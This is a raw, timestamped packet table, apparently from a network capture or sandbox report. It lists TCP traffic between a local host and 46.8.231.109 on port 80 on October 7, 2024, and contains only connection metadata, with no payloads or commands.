Oct 7, 2024 03:03:06.813828945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.813853979 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.813884020 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.813890934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.813941956 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.813950062 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814003944 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814011097 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814042091 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814064026 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814096928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814106941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814156055 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814167023 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814202070 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814210892 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814254045 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814259052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814294100 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814306974 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814322948 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814346075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814373970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814400911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814433098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814454079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814464092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814485073 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814513922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814524889 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814560890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814574003 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814574957 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814601898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814608097 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814630032 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814660072 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814676046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814723969 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814738035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814754009 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814780951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814809084 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814815044 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814860106 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814874887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814918995 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814934015 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814965963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.814996958 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.814997911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815010071 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815047026 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815062046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815107107 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815115929 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815151930 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815156937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815201044 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815203905 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815236092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815260887 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815284014 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815300941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815315962 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815336943 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815373898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815375090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815431118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815434933 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815464020 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815480947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815498114 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815521955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815541983 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815545082 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815577984 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815596104 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815625906 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815643072 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815658092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815679073 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815689087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815706968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815721989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815747023 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815768957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815779924 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815804005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815809011 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815834999 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815853119 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815866947 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815876961 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815897942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815910101 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815929890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815948963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815960884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.815972090 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.815993071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.816006899 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.816024065 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.816041946 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.816056967 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.816076040 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.816101074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.816102028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.816134930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.816157103 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.816165924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.816185951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.816200018 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.816214085 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.816231012 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.816246033 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.816263914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.816274881 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.816294909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.816308975 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.816332102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.816342115 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.816363096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.816378117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.816394091 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.816406965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.816426992 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.816443920 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.816457987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.816469908 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.816490889 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.816504955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.816524029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.816541910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.816566944 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.859868050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.859915018 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.859949112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.859982967 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.860014915 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.860048056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.860054970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.860079050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.860115051 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.860191107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.880368948 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 7, 2024 03:03:06.894220114 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.894288063 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.894320965 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.894352913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.894366980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.894387007 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.894438982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.894439936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.894474030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.894505024 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.894537926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.894539118 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.894567966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.894570112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.894604921 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.894606113 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.894629955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.894637108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.894659996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.894670010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.894687891 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.894705057 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.894712925 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.894752026 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.895365953 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.895445108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.895478964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.895494938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.895528078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.895534992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.895560026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.895595074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.895616055 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.895643950 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.895678043 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.895709991 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.895744085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.895759106 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.895798922 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.895831108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.895864010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.895886898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.895941973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.896282911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.896317959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.896337986 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.896349907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.896374941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.896382093 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.896399975 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.896414995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.896430016 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.896447897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.896464109 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.896480083 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.896496058 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.896512032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.896524906 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.896547079 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.896559000 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.896590948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.904367924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.904431105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.904447079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.904463053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.904476881 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.904494047 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.904510021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.904537916 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.904556036 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.904589891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.904602051 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.904623032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.904644012 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.904654026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.904670954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.904696941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.904715061 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.904746056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.904755116 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.904778957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.904787064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.904813051 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.904825926 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.904861927 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.904877901 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.904922962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.904937983 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.904970884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.904999018 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905028105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905056000 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905056000 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905060053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905096054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905112982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905154943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905163050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905188084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905210972 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905219078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905227900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905251026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905268908 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905302048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905309916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905363083 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905371904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905432940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905445099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905478001 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905487061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905508995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905525923 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905540943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905558109 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905589104 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905601025 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905632973 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905654907 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905693054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905694962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905725002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905739069 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905757904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905770063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905795097 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905811071 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905839920 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905841112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905874968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905889034 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905903101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905920029 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905935049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905946016 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.905967951 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.905978918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906001091 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906013966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906033993 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906049013 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906064987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906080008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906099081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906112909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906130075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906141996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906162977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906174898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906193972 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906207085 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906227112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906243086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906260014 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906274080 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906296968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906306982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906339884 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906362057 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906397104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906409025 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906428099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906440973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906461954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906477928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906493902 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906512976 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906526089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906538963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906558037 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906570911 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906594038 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906601906 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906641006 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906696081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906739950 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906824112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906856060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.906878948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.906896114 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.907525063 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.907608032 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.907740116 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.907809973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.907943010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.907978058 CEST	80	49731	46.8.231.109	192.168.2.4
